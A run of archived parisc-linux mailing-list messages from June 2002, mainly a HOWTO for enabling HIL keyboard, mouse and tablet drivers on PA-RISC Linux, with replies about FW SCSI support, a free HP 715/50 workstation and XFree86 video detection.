X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HOWTO: Using HIL keyboard and HIL mouse on PARISC
Date: Sun, 30 Jun 2002 19:33:43 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <200206301931.58043.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621446 9472 80.91.229.3 (22 Nov 2014 01:57:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 30 11:34:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id D0AAB4846
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Jun 2002 11:34:10 -0600 (MDT)
Original-Received: (qmail 19302 invoked by uid 0); 30 Jun 2002 17:34:09 -0000
Original-Received: from pd90403e4.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.228)
  by mail.gmx.net (mp005-rz3) with SMTP; 30 Jun 2002 17:34:09 -0000
User-Agent: KMail/1.4.5
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15258

Hi all,

starting with the PARISC CVS kernel 2.4.18-pa45 I've switched the kernel 
configuration to use the new HIL drivers by default.
The new HIL drivers were written by Brian S. Julin and I mostly only did some
bugfixing, cleanups and re-integration/re-organization  into our CVS kernel.

Features of the new HIL drivers are:
1. support for HIL mice,
2. support for HIL tablets
3. support for HIL keyboards
4. based on the Linux Input driver model !

Since the new HIL drivers use the standard Linux input interface, 
HIL devices can now be used and set up in the same way as it's done
with USB devices on intel platforms.
For further documentation on the Linux input interface please see:
http://cvs.parisc-linux.org/linux/Documentation/input/input.txt?rev=HEAD&content-type=text/vnd.viewcvs-markup


HOWTO use the new HIL drivers on PA-RISC:
---------------------------------------------------------------
1. Please ensure you have the 2.4.18-pa45 (or higher) kernel source.
If you're using pre-built kernel binaries, please skip the following step.

2. Use the default kernel configuration 
 (e.g. delete your .config file and do a "make menuconfig" or "make oldconfig").
If you use your own kernel configuration check at least the following kernel options:
CONFIG_INPUT=y
CONFIG_INPUT_KEYBDEV=y
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
CONFIG_INPUT_EVDEV=y

CONFIG_INPUT_SERIO=y

CONFIG_HIL=y
CONFIG_HP_SDC=y
CONFIG_HIL_MLC=y
CONFIG_HP_SDC_MLC=y
CONFIG_HIL_KBD=y
CONFIG_HIL_PTR=y

The CONFIG_HIL_KBD_BASIC option has to be DISABLED !!

3. Check that the following device files are available:
	/dev/input/mice
	/dev/input/mouseX
	/dev/input/eventX
where X is any number. 
If those files aren't present yet, create them as root (!!) with the commands:
	cd /dev
	./MAKEDEV input

4. Configure gpm with the following two /etc/gpm.conf options:
	device=/dev/input/mice
	type=imps2

5. Configure XFree86. 
Sample /etc/X11/XF86Config-4 configuration options are:
Section "InputDevice"
        Identifier      "HIL Keyboard"
        Driver          "keyboard"
        Option          "CoreKeyboard"
EndSection
Section "InputDevice"
        Identifier      "HIL Mouse"
        Driver          "mouse"
        Option          "CorePointer"
        Option          "Device"                "/dev/input/mice"
        Option          "Protocol"              "ImPS/2"
        Option          "ZAxisMapping"          "4 5"
EndSection
Section "ServerLayout"
        Identifier      "Default Layout"
        Screen          "Default Screen"
        InputDevice     "HIL Keyboard"
        InputDevice     "HIL Mouse"
EndSection

6. Reboot your system with the new kernel and enjoy.
HIL keyboards, mice and tablets should be automatically detected.

Have fun,
Helge




From - Thu Nov 08 21:23:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 and FW SCSI
Date: Sun, 30 Jun 2002 17:55:22 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20020630165521.GA702@sleepie.demon.co.uk>
References: <20020630012744.A16287@neep.com.au> <MDEAIMOKAJDADFOAOOJEKECMCAAA.atkinsc@yifan.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621446 9478 80.91.229.3 (22 Nov 2014 01:57:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chuck <atkinsc@yifan.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 30 11:55:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (ottawa.linuxcare.com [207.236.24.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id ECA154848
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Jun 2002 11:55:36 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 613199E846; Sun, 30 Jun 2002 17:55:22 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <MDEAIMOKAJDADFOAOOJEKECMCAAA.atkinsc@yifan.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15259

On Sat, Jun 29, 2002 at 05:08:41PM -0500, Chuck wrote:
> Well would I be able to use the current netinst iso to install onto the
> FWSCSI HD?

No, we don't have support for FWD scsi in 735 at the moment.  May do
soon, I've done a bit more work on it recently.  I don't have a 735, so
it's over to Ryan now test/debug my changes.

Richard




From - Thu Nov 08 21:23:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HOWTO: Using HIL keyboard and HIL mouse on PARISC
Date: Sun, 30 Jun 2002 14:32:15 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <200206301832.g5UIWFgp019758@hiauly1.hia.nrc.ca>
References: <200206301931.58043.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621446 9485 80.91.229.3 (22 Nov 2014 01:57:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 30 12:32:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B20D484A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Jun 2002 12:32:21 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5UIWGFN019759;
	Sun, 30 Jun 2002 14:32:16 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5UIWFgp019758;
	Sun, 30 Jun 2002 14:32:15 -0400 (EDT)
In-Reply-To: <200206301931.58043.deller@gmx.de> from "Helge Deller" at Jun 30, 2002 07:33:43 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15260

> The new HIL drivers were written by Brian S. Julin and I mostly only did some
> bugfixing, cleanups and re-integration/re-organization  into our CVS kernel.

Excellent!

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: E Frank Ball <frankb@efball.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 and FW SCSI
Date: Sun, 30 Jun 2002 11:56:15 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20020630115615.B18613@zouave.sonic.net>
References: <20020630012744.A16287@neep.com.au> <MDEAIMOKAJDADFOAOOJEKECMCAAA.atkinsc@yifan.net> <20020630165521.GA702@sleepie.demon.co.uk>
Reply-To: frankb@efball.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621447 9493 80.91.229.3 (22 Nov 2014 01:57:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 30 12:56:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zouave.sonic.net (zouave.sonic.net [209.204.172.153])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96E37485F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Jun 2002 12:56:33 -0600 (MDT)
Original-Received: from frizzen.efball.com (frizzen.efball.com [192.168.0.27])
	by zouave.sonic.net (Postfix) with ESMTP id EB2D866EF
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Jun 2002 11:56:15 -0700 (PDT)
Original-Received: by frizzen.efball.com (Postfix, from userid 4168)
	id 2AEB8A3; Sun, 30 Jun 2002 11:56:15 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20020630165521.GA702@sleepie.demon.co.uk>; from rhirst@linuxcare.com on Sun, Jun 30, 2002 at 05:55:22PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15261

} No, we don't have support for FWD scsi in 735 at the moment.  May do
} soon, I've done a bit more work on it recently.  I don't have a 735, so
} it's over to Ryan now test/debug my changes.
} 
} Richard

Does anybody have a source for replacement FastWide SCSI drives?  We
can't find any and as a result we are trying to phase out all the
machines at work that are using them.  I'm been converting 735s to
single ended (SCSI2) by taking the drive trays and cables (and RAM) from
730s (which get scrapped out).

-- 

   E Frank Ball                frankb@efball.com



From - Thu Nov 08 21:23:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "geezer" <geezer@snet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 715/50 for free
Date: Sun, 30 Jun 2002 18:06:32 -0400
Lines: 90
Approved: news@gmane.org
Message-ID: <000a01c22082$668932e0$6501a8c0__19103.9905454547$1416621447$gmane$org@downstairs>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0007_01C22060.DDC32C20"
X-Trace: ger.gmane.org 1416621447 9501 80.91.229.3 (22 Nov 2014 01:57:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:27 +0000 (UTC)
To: <debian-hppa@lists.debian.org>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 30 16:06:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta3.snet.net (mta3.snet.net [204.60.203.69])
	by dsl2.external.hp.com (Postfix) with ESMTP id A26074849
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Jun 2002 16:06:52 -0600 (MDT)
Original-Received: from downstairs (17.68.252.64.snet.net [64.252.68.17])
	by mta3.snet.net (8.12.3/8.12.3/SNET-smtp-1.2/D-1.1.1.1/O-1.1.1.1) with SMTP id g5UM3pI5002840;
	Sun, 30 Jun 2002 18:03:51 -0400 (EDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15262

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01C22060.DDC32C20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Well, I have decided that my time will be better spent on Intel/AMD =
based systems and am therefore offering my parisc to whoever wants it =
for free (plus, I need the space).  I put debian on it, but never messed =
with it much.  Contact me and we'll agree on a time when you can come =
over and get it (Connecticut).  I ain't shipping it anywhere.  It works =
good, and I have the HPUX 10.20 CD's, too, if you want them.

256 meg (I think)
an internal drive (I'd have to power it up to tell you how big it is, =
but probably about a gig)
an external 4 gig scsi drive
an internal 3.5" scsi floppy drive
an external scsi cdrom
hp-il keyboard with teeny little hp-il box
hp-il mouse
big ole a2094a monitor

The clock battery is about dead, so you'll have to set the clock, but it =
will keep a charge for a while and if you don't shut it down much, =
you'll be fine.

I'll even throw in the bnc to rj-45 transceiver.

elkdad@hotmail.com

------=_NextPart_000_0007_01C22060.DDC32C20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2715.400" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#f0e8d8>
<DIV><FONT face=3D"Comic Sans MS">Well, I have decided that my time will =
be better=20
spent on Intel/AMD based systems and am therefore offering my parisc to =
whoever=20
wants it for free (plus, I need the space).&nbsp; I put debian on it, =
but never=20
messed with it much.&nbsp; Contact me and we'll agree on a time when you =
can=20
come over and get it (Connecticut).&nbsp; I ain't shipping it =
anywhere.&nbsp; It=20
works good, and I have the HPUX 10.20 CD's, too, if you want =
them.</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS"></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS">256 meg (I think)</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS">an internal drive (I'd have to power =
it up to=20
tell you how big it is, but probably about a gig)</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS">an external 4 gig scsi =
drive</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS">an internal 3.5" scsi floppy =
drive</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS">an external scsi cdrom</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS">hp-il keyboard with teeny little hp-il =

box</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS">hp-il mouse</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS">big ole a2094a monitor</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS"></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS">The clock battery is about dead, so =
you'll have=20
to set the clock, but it will keep a charge for a while and if you don't =
shut it=20
down much, you'll be fine.</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS"></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS">I'll even throw in the bnc to rj-45=20
transceiver.</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS"></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS"><A=20
href=3D"mailto:elkdad@hotmail.com">elkdad@hotmail.com</A></FONT></DIV></B=
ODY></HTML>

------=_NextPart_000_0007_01C22060.DDC32C20--




From - Thu Nov 08 21:23:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree-4.2 and C110
Date: Sun, 30 Jun 2002 23:10:13 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20020630231013.C29045@parcelfarce.linux.theplanet.co.uk>
References: <3D1F1A32.7060407@earthlink.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621447 9508 80.91.229.3 (22 Nov 2014 01:57:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bryan W. Headley" <bwheadley@earthlink.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 30 16:10:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 563E8484B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Jun 2002 16:10:15 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17OmtZ-0005zb-00; Sun, 30 Jun 2002 23:10:13 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D1F1A32.7060407@earthlink.net>; from bwheadley@earthlink.net on Sun, Jun 30, 2002 at 09:48:18AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15263

On Sun, Jun 30, 2002 at 09:48:18AM -0500, Bryan W. Headley wrote:
> The system appears to be looking in /proc/bus/pci to look for video 
> cards and framebuffers, which is a bogus way to find video cards on a 
> PC, too (VESA bus, ISA, EISA, MCA... where is that video card?)

Ugh.

> I'm not too fond of synthesizing a "pci" directory, and making up fake 
> IDs for things that aren't PCI cards...

Well... it's a hack which we already kind of do, and won't need to
carry forward into 2.5.  There's a fake PCI device per IOC, so maybe
this could be filled in by a gfx card.  In 2.5, we'll have driverfs
and hopefully X won't have to tell the difference.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HOWTO: Using HIL keyboard and HIL mouse on PARISC
Date: Sun, 30 Jun 2002 23:13:49 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20020630231349.D29045@parcelfarce.linux.theplanet.co.uk>
References: <200206301931.58043.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621448 9767 80.91.229.3 (22 Nov 2014 01:57:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 30 16:13:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD0884851
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Jun 2002 16:13:53 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17Omx3-00062f-00; Sun, 30 Jun 2002 23:13:49 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200206301931.58043.deller@gmx.de>; from deller@gmx.de on Sun, Jun 30, 2002 at 07:33:43PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15264

On Sun, Jun 30, 2002 at 07:33:43PM +0200, Helge Deller wrote:
> The new HIL drivers were written by Brian S. Julin and I mostly only did some
> bugfixing, cleanups and re-integration/re-organization  into our CVS kernel.

Thanks to both of you for doing this.  It's great to have support for
these devices in the Linux kernel.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HOWTO: Using HIL keyboard and HIL mouse on PARISC
Date: Sun, 30 Jun 2002 21:09:21 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20020701030921.6A460484C@dsl2.external.hp.com>
References: <200206301931.58043.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621448 9773 80.91.229.3 (22 Nov 2014 01:57:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 30 21:09:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 6A460484C; Sun, 30 Jun 2002 21:09:21 -0600 (MDT)
In-Reply-To: Message from Helge Deller <deller@gmx.de> 
   of "Sun, 30 Jun 2002 19:33:43 +0200." <200206301931.58043.deller@gmx.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15265

...
> Features of the new HIL drivers are:
> 1. support for HIL mice,
> 2. support for HIL tablets
> 3. support for HIL keyboards
> 4. based on the Linux Input driver model !

excellent work helge!

I've appended your note to the README referenced by the FAQ:
	ftp://ftp.parisc-linux.org/XFree86/HILkeyb/README

please edit if needed.

grant



From - Thu Nov 08 21:23:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [OT] Thanks!
Date: Mon, 1 Jul 2002 00:27:37 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20020701042737.GB24881@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
